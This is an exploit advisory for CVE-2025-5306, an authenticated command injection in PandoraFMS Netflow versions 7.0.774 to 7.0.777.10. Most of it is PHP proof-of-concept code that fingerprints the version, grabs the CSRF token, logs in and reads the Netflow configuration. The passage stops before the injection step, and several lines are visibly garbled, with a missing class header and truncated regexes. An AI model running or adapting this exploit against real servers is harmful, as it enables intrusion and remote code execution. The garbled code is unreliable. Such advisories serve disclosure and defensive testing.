=============================================================================================================================================
| # Title : PandoraFMS Netflow 7.0.774–7.0.777.10 Authenticated Command Injection
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pandorafms.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/207183/ & CVE-2025-5306
[+] Summary :
PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflow_name_dir parameter, leading to remote code execution on the underlying server with the privileges of the web server user.
[+] POC :
php poc.php
target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
$this->csrf_token = null;
$this->cookies = [];
}
private function send_request($method, $endpoint, $data = null, $is_post = false) {
$url = $this->target . $endpoint;
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
// Preserve cookies between requests
if (!empty($this->cookies)) {
curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
}
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, true);
if ($data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
} else {
if ($data && !$is_post) {
$url .= '?' . http_build_query($data);
curl_setopt($ch, CURLOPT_URL, $url);
}
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Save cookies from response
if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) === 2) {
$this->cookies[$parts[0]] = $parts[1];
}
}
}
curl_close($ch);
return [
'code' => $http_code,
'body' => $response
];
}
private function build_cookie_header() {
$cookies = [];
foreach ($this->cookies as $name => $value) {
$cookies[] = $name . '=' . $value;
}
return implode('; ', $cookies);
}
private function extract_csrf_token($html) {
if (preg_match('/]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $html, $matches)) {
return $matches[1];
}
return null;
}
private function extract_version($html) {
if (preg_match('/
]*id="ver_num"[^>]*>([^<]*)send_request('GET', '/pandora_console/index.php', ['login' => '1']);
if ($response['code'] !== 200) {
return "Unknown: Received unexpected response code: " . $response['code'];
}
if (empty($response['body'])) {
return "Unknown: Empty response received";
}
$version = $this->extract_version($response['body']);
$this->csrf_token = $this->extract_csrf_token($response['body']);
if (!$version) {
return "Safe: Application is probably not PandoraFMS";
}
echo "[*] Detected version: $version\n";
if (!$this->csrf_token) {
echo "[!] CSRF token not found\n";
}
// Check if version is vulnerable (7.0.774 to 7.0.777.10)
if (version_compare($version, '7.0.774', '>=') &&
version_compare($version, '7.0.777.10', '<=')) {
return "Appears: Vulnerable PandoraFMS version $version detected";
}
return "Safe: Running version $version, which is not vulnerable";
}
private function get_csrf_token() {
if ($this->csrf_token) {
return $this->csrf_token;
}
$response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']);
if ($response['code'] !== 200) {
throw new Exception("Unexpected response when fetching CSRF token");
}
$this->csrf_token = $this->extract_csrf_token($response['body']);
if (!$this->csrf_token) {
throw new Exception("Could not find CSRF token");
}
return $this->csrf_token;
}
private function login_successful($response) {
return $response['code'] === 200 &&
(strpos($response['body'], 'id="welcome-icon-header"') !== false ||
strpos($response['body'], 'id="welcome_panel"') !== false ||
strpos($response['body'], 'godmode') !== false);
}
private function login() {
echo "[*] Attempting to login...\n";
$csrf_token = $this->get_csrf_token();
$post_data = [
'nick' => $this->username,
'pass' => $this->password,
'login_button' => "Let's go",
'csrf_code' => $csrf_token
];
$response = $this->send_request('POST', '/pandora_console/index.php',
array_merge(['login' => '1'], $post_data), true);
if (!$this->login_successful($response)) {
throw new Exception("Login failed - invalid credentials or application error");
}
echo "[+] Login successful\n";
}
private function extract_netflow_config($html) {
$config = [];
// Extract netflow_daemon
if (preg_match('/
]*name="netflow_daemon"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_daemon'] = $matches[1];
}
// Extract netflow_nfdump
if (preg_match('/
]*name="netflow_nfdump"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_nfdump'] = $matches[1];
}
// Extract netflow_max_resolution
if (preg_match('/
]*name="netflow_max_resolution"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_resolution'] = $matches[1];
}
// Extract netflow_disable_custom_lvfilters_sent
if (preg_match('/
]*name="netflow_disable_custom_lvfilters_sent"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_disable_custom_lvfilters_sent'] = $matches[1];
}
// Extract netflow_max_lifetime
if (preg_match('/
]*name="netflow_max_lifetime"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_lifetime'] = $matches[1];
}
// Extract netflow_interval
if (preg_match('/